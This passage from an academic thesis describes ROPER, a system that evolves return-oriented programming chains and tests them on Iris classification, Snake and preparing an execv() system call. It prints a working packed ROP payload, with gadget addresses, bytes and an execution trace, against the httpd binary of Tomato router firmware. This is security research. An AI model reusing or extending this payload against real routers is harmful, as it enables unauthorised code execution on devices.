fashion, since the ROP hacker isn’t able to execute any instructions directly, but

must conduct the processor to execute a series of gadgets whose cumulative effect is

to prepare just this machine state. The final gadget in the chain, however, is trivial:

it is just the address of an SVC instruction, followed, perhaps, by whatever series of

gadgets is necessary to clean up the process and restore the normal flow of execution,

if stealth is desired. (Though it’s entirely possible, in most cases, to simply let the

host process crash after performing the desired call – it’s just a bit sloppier, and can

bring about other problems in the context of a real-world attack.)

The task we assign ROPER is to carry out the preparation stage of this operation,

but it can easily be extended to complete the call – it is, after all, just a matter of

appending a single, trivial gadget to the chain, which can almost always be found in

binary, since the SVC call is perfectly generic and does not embed any of its arguments

in the instruction itself. This step is omitted in our experiments only because Unicorn

abstracts away from any interaction with the operating system, and doesn’t handle

system calls in a meaningful way. The cleanup stage is more context-sensitive and

complex, but something I may experiment with in the future, in order to prepare

fully deployable payloads with ROPER.

The fitness function defined for this task aims to be a gauge of the distance between

the register and memory state resulting from an individual chain’s execution, and the

state required for the call. “Distance”, here, however, is a tricky concept, and it isn’t at

all obvious how it should be defined in such as way as to both track material progress
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towards the goal in view, and remain efficiently calculable. Ideally, it would be defined

as edit distance in the Markov chain that represents a genotype’s trajectory through

probability space: how many generations, or applications of the genetic operators,

are required to achieve the target state, and how probable are each of those genetic

pathways? In practice, we make do with a very loose approximation of this ideal:

• For each target immediate value, we first check the execution result in the target

register, and take the hamming distance between the two values (the number

of 1s in target⊕ result), and divide it by the maximum hamming distance (32,

on this architecture), storing the quotient in the variable nearest;

• If nearest ̸= 0, we iterate through the remaining result registers, and calculate

the hamming quotient with the target for each value found there. We then

apply a “wrong register” penalty to the quotient, and if the result is still less

than nearest, we rebind nearest to the result.

• We then pass to our memory samples from the execution – one for each register

that could be validly referenced in the machine state at the end of execution,

each holding n bytes (currently, n is set to 512, but this may undergo tuning)

from the engine’s memory, starting with the address in the register. We scan

the memory sample for the desired value, and, if found, we return the quotient

of the value’s offset by the length of the sample (e.g., if we find it at offset

256, then we return 256
512

= 0.5). If the index of the register dereferenced to

that memory sample is the same as the target’s, then we consider this quotient

as a new candidate for nearest, after applying a “right value, but needs to be

dereferenced” penalty. If there is a mismatch in the register index, we also apply

the “wrong register” penalty, and do the same.

• After completing these iterations for a particular target register, we push the

final setting of nearest into an error vector, to be considered later.

• nearest is then reset to the maximum value of 1.0, and we repeat the process

for the next immediate target register.

• We then move on to the indirect targets in our target vector, and repeat more

or less the same process, first scanning the memory samples returned from the
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individual’s execution in the emulator, recording any findings, and then passing

on to consider the immediate values in the register, where we calculate the

hamming quotients, applying the same penalties as above wherever there occur

mismatches between target and resultant register index, or mismatches between

desired indirection and resultant immediacy. At the end of each check, the final

value of nearest is pushed to the error vector.

• Finally, we take the mean of the values in the error vector, and return it as a

float between 0.0 and 1.0: this is the fitness value for that particular evaluation.

The function used for the “wrong register” and “needs to be dereferenced or indi-

rected” penalties was, like most details in ROPER, arrived at through a great deal of

trial and error, and at the time of writing has settled into 1⊓
√
x+ 0.1, which seems

to generate a reasonable amount of pressure while still maintaining a traversable gra-

dient in the fitness space. Restricting the primary distance measure to hamming

distance and forward linear scans feels like a fairly crude approximation, but seem

serviceable enough for now.

This is quite a bit to keep in mind at once, and so a visual simplification might

help the reader form an intuition of how this function works: if we imagine the state

of the CPU after execution as a point p in (|registers| ∗ 2)-dimensional space – using

an immediate and an indirect dimension for each register, using different metrics –

then the target pattern is just an n < 16 dimensional hypersurface S in that space,

and the fitness function is simply the distance from p to S, given a suitable metric,

and scaled to a float between 0.0 and 1.0.

5.1.3 Classification problems

ROPER’s pattern-matching capabilities allow it to automate tasks commonly under-

taken by human hackers. The end result may not resemble a ROP-chain assembled

by human hands (or even by a deterministic compiler), but its function is essentially

the same as the ones carried out by most human-crafted ROP-chains: to prepare the

CPU context for this or that system call, so that we can spawn a shell, open a socket,

write to a file, dump a region of memory, etc.
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In this series of experiments, we’ll see that ROPER is also capable of evolving

chains that are, in both form and function, entirely unlike anything designed by a

human. Though it is still in its early stages, and its achievements so far should be

framed only as proofs of concept, ROPER has already shown that it can evolve chains

that exhibit learned or adaptive behaviour. To illustrate this, we will set ROPER the

task of classifying, first, a toy data set, designed for simplicity, and, second, Ronald

Fisher and Edgar Anderson’s famous Iris data set.

The Iris data set is a well-worn benchmark for training elementary machine learn-

ing systems,2 and to the machine learning specialist, there is nothing particularly

interesting about yet another classifier churning out results for such a relatively un-

challenging set. But, with these experiments, we enter essentially uncharted waters as

far as return-oriented programming – or even, to the best of my knowledge, any form

of low-level “weird machine” exploitation – is concerned. There is no real precedent

for having anything like a ROP payload implement even a basic and rudimentary

machine learning benchmark, and so this task is introduced here entirely as a proof

of concept.3 The interest, here, isn’t in building a better mousetrap. It’s in showing

that one can be built – or bred – out of utterly alien materials.

The Iris data set comprises series of four measurements – sepal length, sepal width,

petal length, and petal width – for 50 specimens belonging to three different species

of iris flower, 150 specimens in all. The task of the classifier is to predict the species

when given the measurements. “One class is linearly separable from the other 2,”

the documentation on the UCI Machine Learning Repository advises, “the latter are

NOT linearly separable from each other.” The fitness of each competing ROPER

individual, in this context, will depend on its ability to correctly classify the sample

of specimens presented to it. Since this is a balanced data set, detection rate alone is

a sufficient proxy for accuracy. The four attributes of each specimen will be cast and

normalized as integers, and, for each evaluation case, loaded into four of the Unicorn

CPU’s general purpose registers. The candidate chain is then executed, as described
2“This is perhaps the best known database to be found in the pattern recognition literature,”

reads the data set information note at [35].
3If you’re interested in developing an intelligent classifier, you’re unlikely to consider doing so

using the unweildy scraps of hijacked process’s memory, and if you’re interested in crafting a low-
level attack payload, a reverse shell probably seems like a more sensible goal than a moderately
clever flower sorter – unless, of course, what you’re really after in either field are ways of making
machines do strange, strange things.
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above, and at the end of execution we read the values contained in three distinct

registers, designated as “output registers” for this purpose. Each register represents

a “bid” for one of the three possible iris species. The values they contain are cast

as signed integers, and the register containing the largest value is interpreted as a

winning bid for its corresponding species.

As we will see in a moment, experimentation has shown that an accurate and, if

not altogether efficient, at least timely4 classification of the set can be achieved by

ROPER, so long as the fitness sharing mechanism discussed in 4.4.4 is made available

to it.

The base fitness function used in the classification experiments is based on register-

bids: a subset of general purpose machine registers are designated as “output regis-

ters”, and another, as “input registers”. At the beginning of each evaluation case

(each exemplar in the training set), the input registers are loaded with values from

the attribute fields. At the end of execution, data is read from the output registers.

Each output register is interpreted as a signed integer, and taken to represent a bid

on a class. The register with the highest bid decides the individual’s “guess” at which

class the attributes passed to it represent. In the event of a tie or an incorrect guess,

no points are awarded (the fitness value of this case is set to 1.0, which is the poorest

rating). In the event of a correct guess, 0.0 points are awarded. That point value

is then duplicated into a pair. The first remains untouched, and is factored into the

detection rate or “absolute fitness” of the chain. The second is passed to subsequent

modifications. If the chain threw an exception during execution, for instance, then

the score is raised by a certain factor (which is tunable, and in some experiments, dy-

namically variable in response to population trends), but it is constrained to remain

between 1.0 (worst fitness) and 0.0 (best fitness) at every point. If fitness sharing is

in effect, then the modifiable component of the score has the inverse of the exemplar’s

difficulty added onto it. (If the chain scored a 0.0 on an exemplar for which the mean

performance is 0.85, for instance, then it receives an additive boost of 0.15.)

4Meaning: you will receive the results before you die.
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5.1.4 “Would you like to play a game?”

Naturally, the first question that comes up when you find a way of eliciting rudi-

mentary, intelligent behaviour from an exploited process is whether it can play any

games. This brings us to our fourth fitness function: we want to train ROPER to

evolve ROP chains that can play a game of Snake.5 For this purpose, I wrote a sim-

ple, machine-friendly implementation of the classic arcade game in Lisp,6 and set it

up to communicate with ROPER over a TCP connection. ROPER’s task, here, is

to evolve a ROP chain that, when run in a loop, can play a more or less competent

game of Snake. The ROP chain is fed an array of first-person sensor readings, from

the snake’s perspective, which indicate the relative distances of objects in the playing

field: apples, which increase the snake’s length, cacti, which kill the snake on contact,

segments of the snake’s own body, which are similarly dangerous to collide with, and

the walls of the field, which, again, result in death on contact. Points are awarded to

the player relative to the number of unique grid coordinates visited, and the number

of apples consumed, before dying.

5.2 A few notes on terminology

5.2.1 Problems, patterns, and exemplars

ROPER is designed to handle a variety of tasks, and having a generic term to refer

to the basic units of each task is helpful, in discussing the experiments that follow. I

use “problem” for this purpose.

When the task is a classification task, the “problems” may also be referred to

as “exemplars”. When the task deals with preparing a CPU state, I sometimes use

the term “pattern” to refer specifically to what I generically call a “problem”. In

interactive tasks, the role of “problem” may be filled by a game-space configuration.

5.2.2 Iteration, generation, and season

ROPER employs a steady-state selection model in all of the experiments discussed

in this thesis, and so it’s important to distinguish what we mean by generation from

5I’m reserving tic-tac-toe for emergencies.
6The code is freely available at https://github.com/oblivia-simplex/snek.

74

https://github.com/oblivia-simplex/snek


what we mean by iteration. The notion of “iteration”, here, is for the most part ex-

ternal to the actual evolutionary process – it’s an artefact of implementation, in a

sense, representing only a cycle through the “main loop” of the program, during which

one or more tournements are thrown in parallel. (I say “artefact of implementation”

with a very large grain of salt. If there are any fields of study that demand a healthy

skepticism towards what counts as essential to the specification, and what counts

as “mere implementation details”, they’re computer security and evolutionary com-

putation!) An “iteration”, in this context, becomes a meaningful evolutionary unit

(modulo abstraction leaks) through a mediating notion that, in ROPER, I’ve called

a “season”: a season is defined as a sequence of iterations that is just long enough for

it to become highly probable that more or less every member of the population has

had their shot at a tournement (and, therefore, a shot at reproduction). In concrete

terms, the length of a “season” is a function of tournement size and population size.

5.2.3 Naming scheme for populations

Mentally keeping track of numerous, varying artificial populations is a challenge at the

best of times, and I’ve found that assigning short, pronounceable names to each batch

is a useful mnemonic device. For this purpose, I’ve borrowed a trick used by Curtis

Yarvin and Galen Wolff-Pauly in designing the Urbit namespace, and used strings of

six random letters, following the pattern “consonant vowel consonant consonant

vowel consonant”7. Using these labels over the course of this chapter lets me avoid

circumlocutions like “as seen in the second population discussed in §$N”, and has

the further advantage of setting up a self-documenting correspondence between the

analyses in this chapter and my system of log files.

5.3 Initial Findings

5.3.1 Surveying the landscape with the null task

Before looking at the behaviour of ROPER under the influence of and constraints of

the semantically nontrivial fitness functions described above, let us first try to get a

7This superficially resembles the namespace allocated to “stars” in Urbit, but is a bit less con-
strained: Urbit’s namespace has room for 216 − 1 names, ours accommodates (20 ∗ 6 ∗ 20)2 ≈ 211.2.
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sense of how the system behaves without receiving any meaningful fitness information,

and then move on to a constraint that is incorporated into each of the fitness function

considers, and acts as their common factor: the one imposed by the crash penalty.

5.3.1.1 Arbitrary selection with no crash penalty
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Figure 5.2: Performance metrics over Kurlig population of 2048, evolving under the
absurd fitness function. Crash rate and stray address rate map to left vertical axis,
while mean genome length and mean instructions executed map to the right.

The first thing that we wish to learn about how our populations behave under

randomized selection pressure is whether there are any discernible trends in the distri-

bution of behaviours in those populations over time. One useful view on this distribu-

tion is the heatmap of addresses visited over the course of the run, sampled seasonally.
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Figure 5.3: Address visitation heatmap over the tomato-RT-N18U process memory,
by the Kurlig population, evolving under the absurd fitness function with no crash
penalty. Season 4 heatmap displayed on the left, season 212 on the right.

Though not a precise or statistically significant representation of behaviour, it does,

at least, serve to convey a general impression, at let the eye pick out the more obvious

skews in distribution.

In figure 5.5, we see heatmaps of the the Xeqcyv population’s phenotypic distri-

bution sampled at seasons 4 and 212. Qualitatively speaking, the two maps appear

almost identical. There has been no collapse of phenotypic diversity, and the system

even gives the impression of being ergodic.8 Acting freely, with no systematic selec-

tive constraints, the mutation operators appear to be successfully counteracting the

pull of genetic drift.

5.3.1.2 Arbitrary selection with crash penalty

Surprisingly, even with the crash penalty in place, the distribution of execution path

frequency remained strikingly consistent, at least to a distant and qualitative inspec-

tion. The heatmap snapshots of the population’s execution habits at Season 4, and

again at Season 212, showed such little difference that I had to check carefully to

make sure that I had not placed them in the wrong order, in figure 5.5.

8See [27] for a detailed discussion of the conditions under which genetic algorithms exhibit er-
godicity.
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Figure 5.4: Performance metrics over Xeqcyv population, evolving under absurd
fitness function with crash penalty. Crash rate and stray address rate map to the left
vertical axis, while mean genome length and mean instructions executed map to the
right.
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Figure 5.5: Address-visitation heatmap over the tomato-RT-N18U-httpd process
memory, by the Xeqcyv population, under the “Kafkaesque” fitness function: Season
4 on the left, Season 212 on the right. Blue swaths indicate where the harvested
gadgets lie, red and magenta swaths indicate addresses visited by creatures in the
population in execution.

The tendency of these populations to shrink from execution, as shown in figure 5.4,

is not at all surprising. The longer they spend in execution, the greater their risk of

crashing. Since crashing is the one sure way to draw selection’s wrath, the population

is highly disincentivized to spend any longer than they have to in execution. There is

simply nothing for an individual under such selective pressures – and only those – to

gain by running code on the CPU. There is no “task” to be completed in this setup,

after all. Computation, for the creatures of xeqcyv and kurlig, it essentially vestigal,

and rapidly atrophies. And so execution times contracted to as little as 4 instructions

on average, with much less variation than seen in the Kurlig population.

5.3.2 Preparing an execv() system call in the Tomato web server

In the experiments discussed here, we targetted the Hypertext Transfer Protocol

(HTTP) daemon extracted from the firmware binary of a popular, open-sourced ARM

router, with the filename tomato-RT-N18U-httpd, and focussed on preparing a call

to execv(). This binary has the fortunate (for us) property of not only contain-

ing a considerable number of gadgets, but several hardcoded path strings as well.
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#!/bin/sh sits comfortably at address 0x0001bc3e, for example – though it is ter-

minated by a newline (0x0a), and not by a null byte. Another interesting string

that we can find there, residing at address 0x0001f62f, is "/tmp/flashXXXXX" – just

a few hundred bytes below an apparent error message, reading "Unable to start

flash program". It appears that the XXXXXX suffix is overwritten at runtime, at some

point, yielding a valid path to an executable, which, presumably, reflashes the router

and restores factory settings9. And, just as we’d expect, the pathname, along with

/bin/sh, resides in writeable memory. The resources for exploitation are numerous

here, and the situation is ripe for ROPER’s exploration.

To get our proof of concept underway, we’ll set out CPU state pattern string,

which ROPER will parse and use to parameterize its fitness function, to

0001f62f,&0001f62f,00000000,_,_,_,_,0000000b

Each comma-separated cell in the string represents a register. The underscores in-

dicate registers that we don’t care about for the purpose of this task, and they will

be ignored by the fitness function. The ampersand is the indirection operator, as in

C, and it tells ROPER that R1 should contain a pointer to the address of the string,

“/tmp/flashXXXXXX”, which, for its part, is known to reside at 0x1f62f.

A satisfactory CPU pattern was soon produced by an individual in the wiwzuh

population, seventeen genealogical steps from the initial population. This specimen

isn’t particularly complex, once you factor out a few of the detours it takes. It

essentially works by just popping the necessary values from the stack to the registers

– all evolution needed to do here was to find the values that hadn’t been provided in

the initial integer pool (such as the pointer0xfff8 to the value 0x1f62f) and to place

them in the necessary order. All that’s needed in order to actually launch this syscall

is to place a single SVC instruction pointer at the end of the packed chain shown in

table . The Tomato binary has 859 to choose from, and the choice is more or less

arbitrary.

Even with so simple a task, the fitness landscape traversed by ROPER displays a

surprising degree of ruggedness, as we can see in figure 5.6.

9This conjecture warrants a bit more reversing than I’ve carried out so far, but in the meantime
this works as a plausible scenario, which is all we need for this PoC of ROPER.
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Figure 5.6: Gaussian approximation of the fitness landscape across the
population and over evolutionary time, for the Wiwzuh population, evolving
execv("/tmp/flashXXXXXX", ["/tmp/flashXXXXXX"], NULL) syscall ROP chains
in tomato-RT-N18U-httpd, yielding a specimen with perfect (0.0) fitness.

I must make a correction to a report stemming from this series of experiments

that I had previously published and presented ([36], [37]). I had initially set the

target pattern for these attacks to 02bc3e,02bc3e,0,_,_,_,_,0b, where I had iden-

tified 02bc3e as the address of the string "/bin/sh" in the httpd binary. This was

inaccurate on three counts: first, the address was off by 0x10000 bytes, as a more

careful inspection of the program headers – and subsequent improvement of ROPER’s

ELF loader – revealed. Second, that string is not null-terminated, and so we’d have

trouble passing it as-is to execv() – though it is newline-terminated, sitting at the

beginning of an embedded shell script, and residing in writeable memory, so it’s still

likely of some use, with a bit of manoeuvering. Most seriously, though, was a rookie

mistake I had made in relaying execv()’s signature: the second parameter requires

another degree of indirection, and so this particular payload would have immediately

resulting in a segmentation fault, if deployed in a real scenario. These errors all stand

corrected in the current document, and ROPER’s handling of pointer indirection and

dereference has been vastly improved, along with its ELF loader.
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Clumps:
[*] 0000b4ac 00000000 00000b17 0000000b 0000000b 00000000
[*] 0000d1a0 0001f62f 0001f62f 0001f62f
[*] 00016654 706d742f
[*] 0001706c 0001f62f 0000fff8 0001f62f

Packed:
ac b4 00 00 00 00 00 00 17 0b 00 00 0b 00 00 00
0b 00 00 00 00 00 00 00 a0 d1 00 00 2f f6 01 00
2f f6 01 00 2f f6 01 00 54 66 01 00 2f 74 6d 70
6c 70 01 00 2f f6 01 00 f8 ff 00 00 2f f6 01 00

Execution Trace:
0000b4ac pop {r4, r5, r6, r7, r8, pc}

0000d1a0 cmp r0, #0
0000d1a4 popeq {r3, r4, r5, pc}

00016654 cmp r0, #0
00016658 ldr r3, [pc, #4]
0001665c moveq r0, r3
00016660 pop {r3, pc}

0001706c ldm sp, {r0, r1}
00017070 add sp, sp, #0x10
00017074 pop {r4, r5, r6, pc}

Registers:
R0: 1f62f->706d742f R8: 0->68732e00
R1: fff8->1f62f R9: 0->68732e00
R2: 0->68732e00 R10: 0->68732e00
R3: 706d742f R11: 0->68732e00
R4: 0->68732e00 FP: 0->68732e00
R5: 0->68732e00 SP: 2b053->0
R6: 0->68732e00 LR: 0->68732e00
R7: b->746e692e PC: 0->68732e00

Table 5.1: A perfected execv() payload on tomato-RT-N18U-httpd, from the Wiwzuh
population, generation 17.
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Some good nevertheless came from that oversight, as it called to my attention

an extraordinarily interesting and counterintuitive pattern in the behaviour of many

of ROPER’s strongest specimens, which was thrown in sharp relief by the champion

chain of that particular run, system call bugs notwithstanding. The specimen that

caught my interest is reproduced here, in table 5.4.2.

5.3.3 Results of the classification problem

In what follows I describe some of the findings arrived at by experimenting with

assigning classification tasks to ROPER. Two different datasets are considered: an

artificially simple and linearly separable dataset consisting of two classes, and the

well-known “iris dataset” by Fisher. But first, a few remarks on the character of the

problems we’re looking at seem worth making.

5.3.3.1 Particular challenges imposed by ROPER’s phenotypic

landscape

Studying ROPER’s handling of simple classification problems, where the odds of

success by any standard classification algorithm can be more or less anticipated,

throws into relief certain challenges that are peculiar to ROPER, owing to the unusual

terrain of the phenotypic landscape that it is forced to traverse. The routes that it

tends to carve out between problem and solution are often extremely indirect and

circuitous, due to pressures that are external to the shape of the problem space, as

specified in the data set, for example, but internal to ROPER’s operational semantics.

To begin with, of course, there is the constant threat of segfaulting, which is

never a concern for genetic programming systems that have been designed, from the

ground up, with their intended purpose in mind (assuming there are no bugs in the

implementation). ROPER must not only find a solution to each problem in the

problem set, but do so without throwing the CPU into an exceptional state. At the

beginning of a run, most execution paths lead to a crash, as may be expected when

executing randomly assembled ROP chains, on which very little prior sanitization has
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been performed. A great deal of evolutionary time appears to consist in winnowing

useful components out of their unviable, crash-prone encasings.10

Furthermore, even without considering the probability skews caused by genetic

drift, there is an unevenness in the space of possible outcomes – represented, for

example, by register states – that is imposed by the materials that the host binary

makes available. Consider, for instance, the distribution in the frequency of register

usage shown in figure 5.7. If the output registers used for the bid-based classification

function are, say, R0, R1, and R2, then, all else being equal, we can expect to see the

class designated by R0 receive more attention, until the population calibrates itself.11

Figure 5.7: Register use histogram for the tomato-RT-N18U-httpd ARM ELF bi-
nary, used in many of the experiments documented here. The general shape of this
distribution is representative of all of the compiled ARM ELFs I have looked at. The
height of each bar represents the frequency with which the register, indexed on the
X-axis, appears in pop-type instructions, in returns, and in the source and destination
of data manipulation instructions.

At the present time, no explicit adjustment is made to the fitness functions to

account for this uneveness, though the difficulty mechanism and its use in fitness

10This is a conjecture based on indirect evidence, such as the frequency with which the “minimum
fitness” measurement (the best performer, crashing aside) outpaces the “best fitness” measurement
(the best, non-crashing performer), but more fine-grained collection of genealogical data, and further
experimentation, is necessary for us to be sure that this is, indeed, a common tendency.

11At some point, this needs to ascertained through experimentation. For that, we’ll need finer-
grained information on the classification confusion matrices than the current version of ROPER
provides (since the focus has been on balanced data sets, the detection rate data has remained fairly
coarse grained), but this should be simple enough to implement.
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sharing (see §4.4.4) provides a means for the evolutionary process to, eventually, gain

some traction on it.

These qualities should be borne in mind when assessing ROPER’s performance on

the following classification tasks. Its performance is in no way impressive, when com-

pared to any standard classifier implementation, and these results are not intended to

showcase ROPER’s merits as a classifier. They’re put forward as a proof of concept,

demonstrating, by construction, that anything as strange and improbable as training

a population of ROP chains to recognize patterns in data is possible.

5.3.3.2 Classification of a simple, linearly separable dataset

As a way of establishing the minimal feasibility of performing classification tasks with

ROPER, I tested the system with an extremely simple, linearly separable dataset that

I had generated artificially, with just two attributes and two classes (see figure 5.8).

ROPER had very little difficulty with this problem set, and was able to generate

fairly good classifications of the data in the initial trials (figure 5.9). Its best specimen

clearly relied on a single attribute in forming their classifications – basing them, it

appears, on the sign of the x parameter – but it seems likely that some fine-tuning

of the (currently very naive) fitness function should be able to encourage a subtler

approach. A fine-tuning of the fitness sharing parameters would perhaps be sufficient

to draw selective pressure’s attention to the two blue points misclassified as red.

5.3.3.2.1 A case study of malignancy in the Fizwej population Mean-

while, in the Fizwej population, a genetic strain emerged that had found a way to

classify the simple dataset flawlessly – or nearly so. Though it had achieved an error

rate of 0.0, it terminated its execution, every time, with an instruction that caused

the CPU to crash with a write access violation. This specimen illustrates a difficulty

encountered often in ROPER populations: the offending instruction was part of the

same gadget that did most of the work in solving the classification problem, which

can be reduced to the following sequence of instructions, given some loose constraints

on the constant popped into R4:

0000acf4 lsr r2, r4, #5 ;; a := r4 << 5

...
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Figure 5.8: An extremely simple, artificial data set, with two linearly separable
classes determined by two points.

86



00011d84     cmp r0, #0
00011d88     ldr r3, [pc, #4]
00011d8c     moveq r0, r3
00011d90     pop {r3, pc}

00011d84     cmp r0, #0
00011d88     ldr r3, [pc, #4]
00011d8c     moveq r0, r3
00011d90     pop {r3, pc}

00011d84     cmp r0, #0
00011d88     ldr r3, [pc, #4]
00011d8c     moveq r0, r3
00011d90     pop {r3, pc}

0000b4a8     movlo r0, #0
0000b4ac     pop {r4, r5, r6, r7, r8, pc}

0000d4ec     orrge r0, r3, r0
0000d4f0     strge r0, [r4, #8]
0000d4f4     movge r0, #0
0000d4f8     pop {r3, r4, r5, pc}

00012e48     mov r0, #0
00012e4c     add sp, sp, #0x14
00012e50     pop {r4, r5, r6, r7, pc}

Figure 5.9: The classification on the data displayed in figure 5.8 performed by the
best specimen in the Kathot population, 35th generation (execution trace inset).
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Figure 5.10: Performance profile of Kathot population, with gadgets in tomato-RT-
N18U-httpd, on the “two simple blobs” classification problem.
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0000acac add r3, r3, r2, lsl #2 ;; Blue := Blue + (a << 2)

0000ad00 and r2, r4, #0x1f ;; Red := r4 & 0b11111

After solving the classification problem with these instructions, the phenotype has

no possibility of avoiding the next instruction in the gadget:

0000ad04 stmib r1, {r4, sl}

This instruction increments the value in R1, dereferences it, and then attempts to

write the contents of R4 and R10 (i.e., the stack-limit register, SL) to that address.

In the memory space mapped for tomato-RT-N18U-httpd, however, the only legally

writeably region of memory is the space allocated to dynamic memory (where the heap

resides) and to the stack, from addresses 0x28000 to 0x28fff and from 0x29000 to

0x2cfff, respectively.12 In the 7289 different specimens recorded from the Fizwej

population, by the time of its 64th season, that had this particular gene and that had

activated it to achieve a perfect detection rate on “two simple blobs”, not a single

one had managed to reliably dereference R1 to a writeable address at the time it

dispatched that fatal instruction. To do so, indeed, they would have had to had

changed their calculation strategy entirely – their entire modus operandi consisted in

setting R1 to a negative value when the exemplar belonged to the red class, and to a

positive value when it belonged to the blue, leaving R0 more or less constant. All of

the writeable addresses in the process space, however, fall within the positive range

mentioned. The crash rate of this population rapidly reached 100%, driving itself into

an evolutionary dead end.

Start Address End Address Protections

0x00000000 0x00000fff READ

0x00008000 0x00020fff READ | EXEC

0x00028000 0x00028fff READ | WRITE

0x00029000 0x0002cfff READ | WRITE

The obstacle that we’re encountering here is that, owing to the complex structure

of the virtual instruction set that ROPER is working with – an instruction set made
12A sneaky “gotcha” that crops up when converting permission flags between ELF binaries and

Unicorn or QEMU images is that while ELF’s permission bits have the same semantics as the Unix
file permissions: 100 for read, 010 for write, and 001 for execute, Unicorn encodes its permissions
the other way around: now, 100 is execute and 001 is read, while 010 is still write.
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00010110     cmp r5, #0x40
00010114     movgt r0, #0
00010118     movle r0, #1
0001011c     pop {r4, r5, r6, pc}

0000fa28     mov r0, r5
0000fa2c     add sp, sp, #0x38
0000fa30     pop {r4, r5, r6, pc}

0000acf4     lsr r2, r4, #5
0000acf8     add r1, r3, r1, lsl #3
0000acfc     add r3, r3, r2, lsl #2
0000ad00     and r2, r4, #0x1f
0000ad04     stmib r1, {r4, sl}

Figure 5.11: A genetic union of a harmful phenotypic trait with an advantageous
one, in the Fizwej population. As before, gadgets are separated by blank lines.
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Figure 5.12: The evolutionary dead-end of the Fizwej population, with the spread
of the “0000ad04 stmib r1, {r3, sl}” gene.
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Figure 5.13: Address visitation heatmap of the Fizwej population, at season 4 on the
left, and season 124, on the right, showing a dramatic decline in phenotypic diversity.
Compare with the xeqcyv and kurlig heatmaps in figures 5.5 and 5.3.

up of gadgets rather than single machine instructions – it is possible, perhaps even

common, for a dangerous phenotypic trait to secure its place in the population when it

is genetically united with an advantageous trait. Of course, this isn’t just a problem

for ROPER, but for biological organisms as well – we see something similar, for

example, in the relation between malaria resistance and sickle cell anemia [38].

The question of whether or not a particular gadget is malignant is highly context-

sensitive – since crashes are most often brought about through a register dereference

and a subsequent attempt to either read from, write to, or execute data at an address

for which the requisite permission has not been granted – and the pressures borne by

selection are sometimes too coarse-grained to answer it before a selective epidemic

occurs. It may be interesting to attempt to incorporate a more sophisticated semantic

analysis routine to inspect gadgets that trigger a crash, and to determine whether or

not they should be removed from the gene pool – an idea we will take up further in

the discussion of future directions for this project, in §6. Incorporating a gauge of

genetic, or low-level phenotypic, diversity into the fitness function – scaling fitness

by the relative frequency of either the individual’s machine-word composition, or

its execution path through process memory – may also help mitigate the threat of

malignant genetic convergence.
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Figure 5.14: A plague of segfaults: the cyan line indicates the crash rate, and
the lower left index shows the average genealogical generation, and not the number of
iterations, as used in later graphs. The raw data for this experiment has unfortunately
been lost, leaving only this artifact as a historical curiosity.

5.3.3.2.2 An early encounter with a segfault plague, due to an vulnerabil-

ity in the crash handling mechanism This wasn’t the first time that I had seen

a segfaulting strain rise to dominance in one of ROPER’s populations. In one, partic-

ularly fascinating and unusually pathological trial with the Iris classification problem

(which we will look at more closely in §5.3.3.3) , which I stumbled across early in the

experimentation, the crash rate skyrocketed, and the entire population fell victim to

a congenital plague of segfaults before its 20,000th tournament iteration (figure 5.14).

Due to the data that was collected at the time being insufficiently coarse-grained, I

cannot say whether dynamics similar to those described in §5.3.3.2.1 played a role in

this occurrence. At least one of the factors leading up to it was uncovered, however,

by reviewing the mean “ratio run” metric of the population: the population had dis-

covered a means of exploiting the sloppy implementation of the gadget-return counter,

which was responsible for tracking how many gadgets had executed before a crash

occurred, that was then in effect. New to the Unicorn library and the Rust language,

and somewhat frustrated with the complications involved in having a callback to the

Unicorn engine soundly pass data back to the Rust context from which the engine

was dispatched, I’d taken a shortcut and built a counter in what I expected would
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be an unused region of the emulator’s memory space, and then used a straightfor-

ward API to read the counter from memory after execution had terminated. At the

time, I imagined that though there was some chance the counter could perhaps get

corrupted, I would be able to treat that corruption as inconsequential noise. This

was a mistake, and the population wasted no time in exploiting it. A dominant ge-

netic strain had evolved to hijack the return counter, setting it to an artificially high

value before wantonly crashing. The apparent success of those chains in executing

numerous gadgets before crashing meant had reduced the crash penalty to near zero,

and since enough of this line had managed to perform fairly well on the classification

task – achieving an 82% detection rate against Iris – in addition to exploiting the

experimental framework, they soon wiped out every single lineage that they ran up

against.13

This was by no means the norm, however. The bug was fixed, and a secure conduit

for the return counter was implemented, avoiding any in-band communication that

could be hijacked by the population it was meant to assess. As an additional safe-

guard, a second factor was incorporated into the crash-penalty gradation: the penalty

would steepen in proportion to the global frequency of crashes in the population.

This bolstered the tendency of the crash rate to oscillate, of course, though the

oscillations appear to occur to some degree with or without the global crash frequency

penalty. The global crash rate would generally settle into a comfortable oscillation

between 1 and 20 percent of the population crashing, at any given time.

A stricter penalty could easily reduce the crash rate to almost zero, but this ap-

peared to negatively impact long-term performance. The fitness landscape inhabited

by ROPER’s populations, it seems, is extremely jagged, and too strict a penalty to

crashing would prevent the population from crossing from one fitness peak to another.

It made more sense to work with the tendency for crash rates to oscillate than against

it, and allow exploration of more dangerous waters so long as it doesn’t threaten to

risk the long-term well-being of the population as a whole.

In view of the phenomena described in §5.3.3.2.1, however, this approach to reg-

ulating the crash rate may warrant revision.

13This was a very nice example of what Lehman et. al have called “The Surprising Creativity of
Digital Evolution” in [39].
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5.3.3.2.3 A proposed method for regulating malignant genes with a TTL

field Another mechanism that we could use to mitigate this dynamic may be to

add a TTL field to our clump datatype. With each crossover or cloning event, the

TTL would be decremented, and when it reaches zero, the clump would be excised

from the genome and replaced with a new, randomly generated one, perhaps with an

identical SP∆ and immediate component. In the event of a crash, we could examine

the address visitation path tracked by the emulator to find the last clump entered

before crashing. Once the guilty clump is found, its TTL could be halfed (or some

order of magnitude greater than the linear decrement that occurs in crossover). We

could then experiment with the results of different tunings to the TTL field and its

methods, and see if this might be a better way of regulating the crash rate than the

current approach, which simply factors a crash penalty into the same, scalar fitness

value that determines reproductive odds.

5.3.3.3 Fleurs du malware: Classification of the Iris data set

The Iris dataset, though relatively simple by contemporary classifier standards, is

considerably more complex than the “two simple blobs” dataset explored in Section

5.3.3.2. Its attribute-class mapping is plotted in figure 5.15

5.3.3.3.1 Without fitness sharing The fitness curve of our best specimens with-

out fitness-sharing typically took the form of long, shallow plateaus, against the

backdrop of a population swaying, it seemed, more in response to genetic drift than

selective pressure.

An interesting phenomenon seemed to recur in several populations, however, fol-

lowing a prolonged fitness plateau: long after it had been effectively quelled by se-

lective pressure, the rate at which individuals crash during execution would begin to

rise again, climbing, in fits and starts, from near zero to up to 40% of the population.

This is what we see happening in figure 5.16, for example, which documents one of

the early experiments performed with ROPER.

One possible explanation for this strange behaviour is that a second-order selective

